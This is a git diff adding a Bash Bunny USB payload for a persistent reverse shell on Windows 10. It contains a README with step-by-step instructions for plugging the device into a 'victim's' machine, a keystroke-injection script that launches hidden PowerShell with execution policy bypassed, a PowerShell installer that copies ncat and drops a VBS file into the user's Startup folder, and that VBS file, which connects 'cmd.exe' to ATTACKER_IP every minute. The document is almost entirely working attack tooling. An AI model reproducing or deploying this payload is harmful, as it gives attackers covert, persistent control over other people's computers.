Persistent Reverse Shells for MacOS and Windows 10 (#306)

payloads/library/remote_access/WindowsPersistentReverseShell/README.md

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+# Windows Persistent Reverse Shell for Bash Bunny
+
+* Author: 0dyss3us (KeenanV)
+* Version: 1.1
+
+## Description
+
+Opens a persistent reverse shell through NetCat on victim's Windows machine and connects it back to host attacker.
+* Targets Windows 10 (working on support for older versions)
+* Connection can be closed and reconnected at any time
+* Deploys in roughly 15-20 sec
+* Works with NetCat
+
+## Requirements
+
+Have a working Bash Bunny :)
+
+## STATUS
+
+| LED                  | STATUS                         |
+| -------------------- | ------------------------------ |
+| Purple               | Setup                          |
+| Amber (Single Blink) | Installing and running scripts |
+| Green                | Finished                       |
+
+## Installation and Execution
+
+1. Plug in Bash Bunny in arming mode
+2. Move files from WindowsPersistentReverseShell to either switch folder
+3. Download ncat from http://nmap.org/dist/ncat-portable-5.59BETA1.zip and place the downloaded ncat.exe file in the same switch folder. 
+4. Edit the persistence.vbs file and replace `ATTACKER_IP` with attacker's IP and `PORT` with whichever port you like to use (I use 1337 :wink:)
+5. Edit the run.ps1 file and replace `BashBunny` with the volume name of your Bash Bunny
+6. Save the persistence.vbs file
+7. Unplug Bash Bunny and switch it to the position the payload is loaded on
+8. Plug the Bash Bunny into your victim's Windows machine and wait until the final light turns green (about 15-20 sec)
+9. Unplug the Bash Bunny and go to attacker's machine
+10. Listen on the port you chose in the persistence.vbs file on NetCat
+   * Run the command `nc -nlvp 1337` (replace the port with the port in persistence.vbs)
+    * If using Windows as the attacker machine, you must move the same ncat.exe file downloaded in step 3 to any directory and use the command `ncat` instead of `nc` from that directory.
+11. Wait for connection (Should take no longer than 1 minute as the powershell command runs every minute)
+12. Once a Windows cmd prompt appears...YOU'RE DONE!! :smiley: and you can disconnect and reconnect at any time as long as the user is logged in
+
+## Discussion
+
+[Click here](https://forums.hak5.org/topic/42729-payload-windows-persistent-reverse-shell/) for forum discussion

payloads/library/remote_access/WindowsPersistentReverseShell/payload.txt

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+# Title:         NetCat Reverse Shell Windows
+# Description:   Creates a persistent reverse shell on Windows and connects back to attacker through NetCat
+# Author:        0dyss3us (KeenanV)
+# Props:
+# Version:       1.0
+# Category:      Remote Access
+# Target:        Windows 10
+# Attackmodes:   HID, Storage
+
+#Sets attack mode and stores current switch position
+LED SETUP
+ATTACKMODE HID STORAGE
+GET SWITCH_POSITION
+
+#Runs Powershell script which puts a .vbs file in the startup folder and runs it
+LED ATTACK
+RUN WIN Powershell -nop -ex Bypass -w Hidden ".((gwmi win32_volume -f 'label=''BashBunny''').Name+'payloads\\$SWITCH_POSITION\run.ps1')"
+LED FINISH

payloads/library/remote_access/WindowsPersistentReverseShell/persistence.vbs

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+Dim ncShell
+Set ncShell = WScript.CreateObject("WScript.shell")
+
+Do while True:
+	ncShell.Run "powershell.exe C:\temp\ncat.exe ATTACKER_IP PORT -e cmd.exe", 0, true
+	WScript.Sleep(60000)
+loop

payloads/library/remote_access/WindowsPersistentReverseShell/run.ps1

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+$Drive = (Get-WMIObject Win32_Volume | ? { $_.Label -eq 'BashBunny' }).name
+$user = $env:UserName
+$NetCatFile = $Drive + "payloads\switch1\ncat.exe"
+$PersistenceFile = $Drive + "payloads\switch1\persistence.vbs"
+$DestinationFile1 = "C:\temp\ncat.exe"
+$DestinationFile2 = ("C:\Users\" + $user + "\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\persistence.vbs")
+
+If ((Test-Path $DestinationFile1) -eq $false){
+	New-Item -ItemType File -Path $DestinationFile1 -Force
+}
+If ((Test-Path $DestinationFile2) -eq $false){
+	New-Item -ItemType File -Path $DestinationFile2 -Force
+}
+
+Copy-Item -Path $NetCatFile -Destination $DestinationFile1
+Copy-Item -Path $PersistenceFile -Destination $DestinationFile2
+
+Set-Location -Path ("C:\Users\" + $user + "\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup")
+
+Start-Process cmd -ArgumentList "/c start persistence.vbs"